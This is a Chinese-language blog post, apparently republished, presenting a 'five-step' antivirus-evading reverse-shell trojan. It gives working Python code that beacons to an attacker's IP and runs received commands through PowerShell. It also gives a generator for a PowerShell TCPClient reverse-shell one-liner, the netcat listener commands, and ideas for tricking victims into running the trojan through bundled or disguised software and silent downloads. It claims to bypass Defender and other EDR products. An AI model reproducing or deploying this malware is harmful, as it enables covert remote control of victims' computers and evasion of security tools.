python 实现nc功能 免杀案例——的确可以绕过奇安信,defender这些edr

文章目录[隐藏]

  • 自创反弹shell免杀五部曲:
  • 1:确定想法
  • 2:实现框架
  • 3:增加保护
  • 4:启动木马
  • 5:维持会话或提权
  • 1|2一,确定想法
  • 1|3二,实现框架
  • 受害者运行的恶意程序编写
  • 木马的代码:
  • 现在我们还需一个在第一个会话中执行代码的生成器
  • 1|4推荐参考Reverse Shell Generator 反弹shell生成
  • 使用方法:python3/python + 这个文件的地址 + 控制端IP + 控制端另一个端口
  • 弹回的执行代码 复制
  • 1|5三:增加保护
  • 1|6四:启动木马
  • 当受害者运行木马后
  • 我们自然得到第一个会话
  • 接着在里面输入复制好的代码并回车
  • 2|0重点:此时刚刚的代码会命令受害者连接控制端的第二个端口,而刚好就是这个特性能够几乎所有杀软(即使无法连接第二个会话,也有第一个简单的SHELL)


  • 这里仅用反弹powershell演示,大家可以发挥脑洞

    自创反弹shell免杀五部曲:

    • 1:确定想法

    • 2:实现框架

    • 3:增加保护

    • 4:启动木马

    • 5:维持会话或提权

    1|2一,确定想法

    • 用python服务器与客户端的原理制作反弹shell的控制端与被控制端,

    • 最后执行在会话中执行恶意命令来获取一个稳定的powershell

    • 记:控制端两次使用的端口不能相同


    1|3二,实现框架

    这里我们需要两个文件

    • 受害者运行的恶意程序

    • 在第一个会话中执行代码的生成器

    受害者运行的恶意程序编写

    1. 我们采用socket库编写,这里只用编写客户端(受控端)的代码,服务端(控制端)使用nc即可

    木马的代码:

    (注:可以用pyinstaller转换为exe)

      import os
      import time
      import socket
      '''################'''
      server_ip = '' # 更改为控制端的IP
      server_port = 13524 # 更改为控制端的第一PORT
      '''################'''
       
      mod = '''powershell -nop -c "{0}"'''
      s = socket.socket()
       
      while True:
      try:
      s.connect((server_ip, server_port))
      break
      except:
      time.sleep(3)
      while True:
      s.send(b'[Powershell:->')
      cmd = s.recv(1024).decode()
      s.send(os.popen(mod.format(cmd)).read().encode())
       
      s.close()

    现在我们还需一个在第一个会话中执行代码的生成器

    1|4推荐参考Reverse Shell Generator 反弹shell生成

    这里放出代码及使用方法

      import sys
      server_ip = sys.argv[1]
      server_port_second = sys.argv[2]
      print("服务端IP:",server_ip,"/n服务端监听powershell端口:",server_port_second)
      print('复制代码在nc中运行:')
      print('''$client = New-Object System.Net.Sockets.TCPClient('{0}',{1});'''.format(str(server_ip),str(server_port_second)),end='')
      print('''$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()''')

    使用方法:python3/python + 这个文件的地址 + 控制端IP + 控制端另一个端口

    弹回的执行代码 复制

    • e.g. python3 creative.py 127.0.0.1 12212

    1|5三:增加保护

    作者采用pyinstaller保护(其实pyinstaller后会被杀软误判)

    这里不细讲,可以看看crow在B站的视频

    1|6四:启动木马

    想办法让受害者运行木马,这里举几个思路

    • 1. 捆绑软件
    • 2. 伪装软件
    • 3. 伪装并让受害者不知情地下载,然后悄咪咪的自动运行
    • 4. 渗透内网
    • 5. 调用漏洞

    当受害者运行木马后

    我们自然得到第一个会话

    e.g. [Powershell:->

    接着在里面输入复制好的代码并回车


    2|0重点:此时刚刚的代码会命令受害者连接控制端的第二个端口,而刚好就是这个特性能够几乎所有杀软(即使无法连接第二个会话,也有第一个简单的SHELL)

    2|1五:维持会话或提权

    2|2此时执行 nc -lvvp 第二个端口 就能获得稳定的powershell

    2|3相关资源下载(可能提示有危险,不用管他,毕竟是Python 木马):

    原创文章,作者:ItWorker,如若转载,请注明出处:https://blog.ytso.com/tech/pnotes/278227.html

    (0)
    上一篇 2022年8月1日 18:21
    下一篇 2022年8月1日 18:22

    相关推荐

    发表回复

    登录后才能评论